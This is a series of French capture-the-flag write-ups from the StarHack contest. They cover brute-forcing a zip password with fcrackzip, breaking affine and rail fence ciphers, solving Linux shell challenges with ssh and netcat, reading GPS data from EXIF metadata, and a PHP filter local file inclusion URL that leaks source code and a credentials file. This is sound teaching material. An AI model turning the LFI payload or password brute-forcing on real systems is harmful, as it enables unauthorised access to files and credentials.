    Il suffit alors de consulter la page de manuel de fcrackzip afin de connaitre les arguments qui nous sont utiles ici:
    -b pour bruteforce
    -l 1-5 pour indiquer qu'on cherche un mot de passe de longueur comprise entre 1 et 5
    -u pour que fcrackzip teste pour nous toutes les possibilités et nous renvoie celle qui marche.
    La commande renverra au bout d'un certain temps (patience...):

    fcrackzip -b -l 1-5 -u flag.zip
    
    
    PASSWORD FOUND!!!!: pw = koala
    

    A partir de là, il ne reste plus qu'à saisir le mot de passe pour extraire le fichier flag.txt qui contient le flag recherché ! (mais aucune trace de liste de course... dommage)
  • Affine

    Objectif

    Dans ce challenge, on doit déchiffrer ce message : GEuyQu!?APwO_yG_~hL,2{uPy_~G1uu<=} chiffré à partir de ce script python, fourni sur le site du challenge:

    #! /usr/bin/env python3
    import string
    import random
    
    def get_coeff(alpha):
        a=random.randint(0,len(alpha)-1)
        b=random.randint(0,len(alpha)-1)
        return [a,b]
    
    def get_cipher(a,b,plain,alpha):
        cipher=""
        for char in plain:
          cipher+=alpha[(a*alpha.index(char)+b)%len(alpha)]
        return cipher
    
    def main():
        """
        alpha_old=string.printable[:-6]
        alpha=''.join(random.sample(alpha_old,len(alpha_old)))
        """
        alpha="S,1srI48NzUuT=)+/!.fB&X[R^Pam'?_J9Mh%6-G*owiFlLZEpgW~2v}COc@b$|50\"eADt`;\YHdyjxn3"
        plain=''
        [a,b]=get_coeff(alpha)
        cipher=get_cipher(a,b,plain,alpha)
        return cipher
    
    print(main())
    

    En voyant la définition de la fonction get_cipher, on voit bien que la méthode de chiffrement est analogue à une méthode de substition, où on remplace un charactère par un autre en fonction de sa place dans un alphabet, suivant la relation suivante : En posant x la position de la lettre chiffrée dans l’alphabet, i la position de la lettre en clair dans l’alphabet : x = (a*i + b)%94 avec 94 la longueur de l’alphabet donné, a et b des constantes choisies entre 0 et 93.

    Ma solution (plus ou moins dégueu)

    En intuitant que le message chiffré commence par « starhack{», j’ai testé toutes les paires (a,b) telles que le « s» soit chiffré en « G» grâce au script suivant :

    catalogue=[];
    for a in range(94):
        for b in range(94):
            if alpha[(a*alpha.index("s")+b)%len(alpha)]=="G":
                catalogue += [(a,b)]
    
    

    Puis parmis celles-ci, celles qui chiffrent "t" en "E":

    catalogue2=[]
    for elem in catalogue:
        (a,b)=elem
        if alpha[(a*alpha.index("t")+b)%len(alpha)]=="E":
                catalogue2 += elem
    

    Il ne nous reste plus qu'une seule paire possible: a=37 et b=35. Pour pallier à l'utilisation du reste euclidien utilisé dans la formule de chiffrement (la place de la lettre chiffrée sera donc représentée par r), j'ai testé toutes les valeurs possibles du quotient en m'arrêtant à la première solution entière avec ce script:

    def decode1(a,b,r):
        q=0
        while ((94*q +r-b)/a) - int((94*q +r-b)/(a)) != 0:
            q+=1
        return((94*q+r-b)/a)
    

    Il ne nous reste plus à qu'à déchiffrer le message pour obtenir le flag grâce à la fonction :

    def decode(a,b,mess):
        clair = ""
        for char in mess:
            r=alpha.index(char)
            clair += alpha[int(decode1(a,b,r))]
        print(clair)
    

    En exécutant decode(37,35,"GEuyQu!?APwO_yG_~hL,2{uPy_~G1uu<=>}"), on obtient le flag : starhack{inverse_modulaire_swaag}

  • Bash

    Dans ces challenges, on doit trouver le flag sur une machine Bash fournie sur le site du challege.

    Bash #1

    En arrivant sur le serveur, unlsnous apprend l'existence d'un fichier "flag.txt" que l'on peut tout simplementcat. On obtient ainsi le flag : starhack{mZBuqpDYQzFV4JkSEfg0ATWLF}.

    Bash #2

    Ici, unlsne nous montre rien. En revanche unls -anous montre un fichier caché .flag.txt, que l'on peutcat. On obtient ainsi le flag : starhack{q6xO8elfpDUPonQTuuutLb9Tg}

    Bash #3

    Cette fois-ci, unlsnous affiche une liste de 1000 dossiers, nommés de "dossier 000" à "dossier 999". En faisantcd dossier\ 000on peut voir qu'il contient 10 fichiers, nommés "fichier 01", "fichier 02" etc... qui contiennent tous un flag. En se basant sur les challenges précédents, on peut se dire que seul le fichier "flag.txt", caché quelque part au milieu de ces 1000 dossiers nous donnera le vrai flag. En tapantfind | grep "flag", on voit qu'un fichier flag.txt existe dans le dossier 543. Il nous suffit de lecatpour obtenir le flag : starhack{q6xO8elfpDUPonQTuuutLb9Tg}

    Bash #4

    On a encore une fois les mille fichiers présents, mais cette fois-ci,find | grep "flag" ne nous renvoie rien. Cependant, on peut remarquer que les fichiers se trouvant dans dossier 000 ne contiennent plus de flag. On peut donc utilisergrep -r "starhack"pour trouver le flag : starhack{BPjwnr10GmF0kM1znids9NMtg}, caché dans ~/dossier 729/fichier 03.

    Bash #5

    Surprise ! Lorsque l'on tente de se connecter au serveur via ssh, on se prend un "retour à l'envoyeur", qui nous déconnecte aussi tôt que l'on arrive. Vu que l'on a absolument pas le temps d'entrer quoi que ce soit lors de la connection, l'astuce réside dans la commande de connection : En ajoutant la commande à exécuter directement après la commande de connection, celle-ci s'exécute avant la déconnexion. Ainsi, en faisant unssh bash5@IP_fournie_sur_le_site ls, on voit qu'il exite un fichier flag.txt, que l'on peut ainsicatde la même manière. On obtient donc le flag : starhack{OGJNhnuDS4JG7hknweSYRhYbR}

    Bash #6

    Cette fois-là, on voit avec notre trustylsdeux fichiers : instructions.txt et sshkey.private. N'écoutant que notre instinct, oncatinstructions.txt pour découvrir des... INSTRUCTIONS : "Connexion ssh en localhost avec le user bash6bis avec la clé privée RSA sshkey.private". En suivant les instructions (?!?), c'est à dire en exécutant la commandessh -i sshkey.private bash6bis@localhost, on accède à un autre serveur bash, sur lequel notre trustyls(again) nous dévoile l'existence de flag.txt que l'on peutcat, pour obtenir le flag : starhack{FZOSNkKayVsRwvS0mh2pXlpY6}.

    Bash #7

    On découvre grâce à notre (once again) trustlsun fichier instructions.txt qui contient (once again) des... INSTRUCTIONS (?!?) : "Connexion tcp sur l'ip de connexion / port 500 et/ou port 5000". Pour ce connecter en tcp, on utilise l'outil NetCat, grâce à la commande suivante :nc IP.FOURNIE.SUR.LE.SITE 500. Cela nous renvoie le flag : starhack{72BA46rGoflIUsL2q9hlnEmNL}. PS: en essayant avec le port 5000, on trouve exactement le même flag. Le "et" des instructions était donc là pour nous induire en erreur (?!?!).

    Bash #8

    Une fois de plus, on découvre un fichier instructions.txt (accompagné d'un script seconnecter, que l'on ne peut pas lire ni modifier, mais que l'on peut exécuter) que l'on va allègrementcat, pour y lire : Le script "seconnecter" permet d'écouter sur le port donné en argument. Si il reçoit le mot de passe actuel de session alors il renverra le flag. Envoyez le mot de passe et interrompez la commande instantanement après. On décide (une fois de plus) de suivre les instructions. On commence par exécuter le script seconnecter, qui nous renvoie ceci : "PORT ?". Sans aucune forme de politesse, ce script semble nous demander un port sur lequel il irait potentiellement écouter (si l'on en croit les instructions). A la louche, on intuite que le port 1234 est libre, et nous allons donc le renseigner au près de notre script mal-poli. Notons au passage que l'on a exécuté se connecter avec l'esperluette (./seconnecter &), ce qui nous permet d'utiliser le même terminal pour envoyer le mot de passe par nc, ce que nous allons prestement faire grâce à la commande suivante :

    nc IP.FOURNIE.SUR.LE.SITE 1234
      >MOTDEPASSEDONNESURLESITE
    
    Comme les textes anciens (et les instructions) l'avaient prédit, en arrêtant de manière immédiate la commandencvia un CTRL+C judicieusement lancé, le script seconnecter nous renvoie le flag : starhack{GXQI473SlAxyzGGoz1jhEO8JW}.

  • Rail Fence

    Principe du rail fence

    Le rail fence est une méthode de chiffrement qui consiste dans un premier temps à choisir un nombre de rails puis à écrire le message à chiffrer en zigzag sur le nombre de rails choisi. On recopie ensuite les lettres rail par rail pour obtenir le message chiffré.

    Exemple pour 3 rails: "Message à chiffrer"
    écrit en palissade donne:
    M---a---à---f---r
    -e-s-g- -c-i-f-e-
    --s---e---h---r--
    d'où le message une fois chiffré: "Maàfresg cifesehr"

    Objectif du challenge

    On nous donne le message chiffré accompagné du script qui a été utilisé pour le chiffrer. L'objectif est de retrouver à partir de là le plaintext sachant qu'on ne connait pas le nombre de rails.

    Résolution

    On va reconstruire le zigzag du rail fence à partir du ciphertext donné.
    On commence par définir une fonction qui initialise le zigzag en le modélisant par un tableau de rails lignes et len(chiffre) colonnes avec des "#" aux emplacements vides et des "_" pour ceux qu'on veut occuper.

    import numpy as np #servira à la fin pour un affichage plus clair
    
    chiffre="Jne3i g4c_lrp}o0.iR stS? _a qtveusade3ia _sstc-su_ti gula4 aszqp Gu pieruZ a _Rpt3a rlito{lnuk evcFmeaeerhnl rcalaeret e sstf etlt iastlger atqidiuu"
    
    def init_zigzag(chiffre,rails):
        zigzag = [["#"]*len(chiffre) for i in range(rails)]
        # on reutilise le code de la fonction chiffrement donnee afin de positionner les "_" en zigzag
        rail = 0
        n = len(chiffre)
        for x in range(n):
            zigzag[rail][x] = "_"
            if rail >= rails-1:
                dr = -1
            elif rail <= 0:
                dr = 1
            rail += dr
        return zigzag
    

    Une fois le tableau initialisé, on le parcourt ligne par ligne et on remplace les "_" rencontrés par les lettres de chiffre pour compléter notre zigzag:

    def remplissage(chiffre,rails):
        compteur = 0
        zigzag = init_zigzag(chiffre,rails)
        for i in range(rails):
            for j in range(len(chiffre)):
                if zigzag[i][j] == "_":
                    zigzag[i][j] = chiffre[compteur]
                    compteur += 1
        return zigzag
    

    On définit pour finir une fonction qui nous permet de déchiffrer le message à partir du zigzag. Il suffit pour cela de parcourir le tableau colonne par colonne.

    def dechiffre(chiffre,rails):
        zigzag = remplissage(chiffre,rails)
        message = ""
        for j in range(len(chiffre)):
            for i in range(rails):
                if zigzag[i][j] != "#":
                    message += zigzag[i][j]
        return message
    

    On ne connait pas la valeur de rails mais on sait qu'elle est comprise dans (6,len(chiffre)//3) Il nous reste a tester toutes les possibilités de valeur pour rails jusqu'à trouver les messages qui contiennent "starhack" et sélectionner celui qui nous intéresse.

    def trouve_possibles(chiffre):
        possibles = []
        for rails in range(6, len(chiffre)//3):
            message = dechiffre(chiffre,rails)
            trouve = False
            for i in range(len(message)):
                if message.find("starhack{") != -1:
                    trouve = True
            if trouve:
                possibles.append([rails, message])
        return np.array(possibles)
    

    On peut maintenant exécuter la fonction trouve_possible pour obtenir les messages qui contiennent starhack accompagné du nombre de rails correspondant.

    print(trouve_possibles(chiffre))
    

    ce qui va renvoyer:

    [['34'
      'J3c}R?qsisug ppZRail Fence se trqui litteralement p i au_taat  o_in l0s_vd ctlsGeatrouver le flagaduitest starhack{l3 ruzai-_eeat.rge4piS u3ss 4q u_']
     ['35'
      'J3c}R?qsisug que Rail Fence se trqui litteralement par pau_taat  o_in l0s_vd ctls pu trouver le flagaduitest starhack{l3_ZiGzai-_eeat.rge4piS u3ss 4']
     ['36'
      'J3c}R?qsis-tu que Rail Fence se trqui litteralement par palissaat  o_in l0s_vd tu as pu trouver le flagaduitest starhack{l3_ZiGz4g_c_eeat.rge4piS u3']
     ['37'
      'J3c}RSavais-tu que Rail Fence se trqui litteralement par palissade ? o_in l0s que tu as pu trouver le flagaduitest starhack{l3_ZiGz4g_c_3st_t.rge4pi']
     ['38'
      'JegloRSavais-tu que Rail Fence se trqui litteralement par palissade ? 0r43nicp.s que tu as pu trouver le flagaduitest starhack{l3_ZiGz4g_c_3st_ti}_ ']
     ['39'
      'Je croRSavais-tu que Rail Fence se trqui litteralement par palissade ? 0p_g3ni4l}.s que tu as pu trouver le flagaduitest starhack{l3_ZiGz4g_c_3st_ti']
     ['40'
      'Je crois?avais-tu que Rail Fence se trqui litteralement par palissade  tR0p_g3ni4l}. S_que tu as pu trouver le flagaduitest starhack{l3_ZiGz4g_c_3st']
     ['41'
      'Je crois?atudis-tu que Rail Fence se trqui litteralement par palissaesv  tR0p_g3ni4l}. S_qea3 tu as pu trouver le flagaduitest starhack{l3_ZiGz4g_c_']
     ['42'
      'Je crois?atudi_tstu que Rail Fence se trqui litteralement par paliucsaesv  tR0p_g3ni4l}. S_qea3 s-_ as pu trouver le flagaduitest starhack{l3_ZiGz4g']
     ['43'
      'Je crois?atudi_tstgaaque Rail Fence se trqui litteralement par ps4uiucsaesv  tR0p_g3ni4l}. S_qea3 s-_ l z pu trouver le flagaduitest starhack{l3_ZiG']
     ['44'
      'Je crois?atudi_tstgaaqGpr Rail Fence se trqui litteralement pauiups4uiucsaesv  tR0p_g3ni4l}. S_qea3 s-_ l z  eZ trouver le flagaduitest starhack{l3_']
     ['45'
      'Je crois?atudi_tstgaaqGpr _t il Fence se trqui litteralementr3Rauiups4uiucsaesv  tR0p_g3ni4l}. S_qea3 s-_ l z  eZ palouver le flagaduitest starhack{']]
    

    Le message a un ordre légèrement aléatoire mais on peut repérer le flag: starhack{l3_ZiGz4g_c_3st_tR0p_g3ni4l}

  • Localisation 2

    Objectif

    On cherche à déterminer d'où vient la musique contenue dans le fichier music.mp3.

    Méthode

    Pour ce challenge, on dispose uniquement du fichier music.mp3.

    À l'aide d'exiftool, il est possible de récupérer les informations suivantes sur ce fichier :

    $ exiftool music.mp3
    ExifTool Version Number         : 10.40
    File Name                       : music.mp3
    Directory                       : .
    File Size                       : 2.7 MB
    File Modification Date/Time     : 2018:09:16 18:56:44+02:00
    File Access Date/Time           : 2018:09:16 19:13:39+02:00
    File Inode Change Date/Time     : 2018:09:18 12:39:11+02:00
    File Permissions                : rw-r--r--
    File Type                       : MP3
    File Type Extension             : mp3
    MIME Type                       : audio/mpeg
    MPEG Audio Version              : 1
    Audio Layer                     : 3
    Sample Rate                     : 48000
    Channel Mode                    : Stereo
    MS Stereo                       : Off
    Intensity Stereo                : Off
    Copyright Flag                  : False
    Original Media                  : False
    Emphasis                        : None
    VBR Frames                      : 7139
    VBR Bytes                       : 2829456
    VBR Scale                       : 0
    ID3 Size                        : 51338
    Encoder Settings                : Lavf57.71.100
    Picture MIME Type               : image/jpeg
    Picture Type                    : Front Cover
    Picture Description             :
    Picture                         : (Binary data 50320 bytes, use -b option to extract)
    Title                           :
    Artist                          :
    Album                           :
    Year                            :
    Comment                         :
    Genre                           : None
    Audio Bitrate                   : 132 kbps
    Duration                        : 0:02:51 (approx)

    On voit ainsi qu'une image accompagne le .mp3.

    On continue avec ffmpeg.

    $ ffmpeg -i music.mp3 img.jpg

    Et on obtient l'image suivante :

    img.jpg

    img.jpg

    De nouveau un petit coup d'exiftool :

    $ exiftool img.jpg
    ExifTool Version Number         : 10.40
    File Name                       : img.jpg
    Directory                       : .
    File Size                       : 49 kB
    File Modification Date/Time     : 2018:09:16 19:24:39+02:00
    File Access Date/Time           : 2018:09:22 18:11:50+02:00
    File Inode Change Date/Time     : 2018:09:18 12:39:11+02:00
    File Permissions                : rw-r--r--
    File Type                       : JPEG
    File Type Extension             : jpg
    MIME Type                       : image/jpeg
    JFIF Version                    : 1.02
    Exif Byte Order                 : Big-endian (Motorola, MM)
    X Resolution                    : 96
    Y Resolution                    : 96
    Resolution Unit                 : None
    Y Cb Cr Positioning             : Centered
    GPS Version ID                  : 2.3.0.0
    GPS Latitude                    : 35 deg 16' 55.30"
    GPS Longitude                   : 149 deg 7' 43.10"
    Comment                         : Lavc57.89.100
    Image Width                     : 768
    Image Height                    : 1024
    Encoding Process                : Baseline DCT, Huffman coding
    Bits Per Sample                 : 8
    Color Components                : 3
    Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
    Image Size                      : 768x1024
    Megapixels                      : 0.786
    GPS Position                    : 35 deg 16' 55.30", 149 deg 7' 43.10"

    On obtient les coordonnées GPS recherchées. Une simple recherche permet de trouver un site capable de positionner ces coordonnées sur une carte, et en se basant par rapport au sud pour la latitude et par rapport à l'est pour la longitude, on se retrouve à Canberra.

    Le flag est donc starhack{Canberra}.

  • PHP Filters

    Lien du challenge

    https://webstarhackademint.minet.net/#phpfilter

    Solution

    Après une recherche sur les LFI PHP filters, on remarque qu'il est possible de récupérer le contenu d'un fichier php.

    On récupère alors le contenu encodé en base 64 à l'adresse https://webstarhackademint83.minet.net/?inc=php://filter/convert.base64-encode/resource=login.php.

    <?php
    include("config.php");
    
    if ( isset($_POST["username"]) && isset($_POST["password"]) ){
        if ($_POST["username"]==$username && $_POST["password"]==$password){
          print("<h2>Welcome back !</h2>");
          print("To validate the challenge use this password<br/><br/>");
        } else {
          print("<h3>Error : no such user/password</h2><br />");
        }
    } else {
    ?>
    
    <form action="" method="post">
      Login&nbsp;<br/>
      <input type="text" name="username" /><br/><br/>
      Password&nbsp;<br/>
      <input type="password" name="password" /><br/><br/>
      <br/>
      <input type="submit" value="connect" /><br/><br/>
    </form>
    
    <?php } ?>

    On récupère alors de la même manière le contenu de config.php :

    <?php
    
    $username="admin";
    $password="starhack{pHp_F1lT3rs}";
    
    ?>

    Le flag est donc starhack{pHp_F1lT3rs}.

  • Xor Difficile

    Objectif

    Déchiffrer un fichier .odt à l'aide de l'opération xor et des magic numbers.

    Solution

    Script python
    Document odt chiffré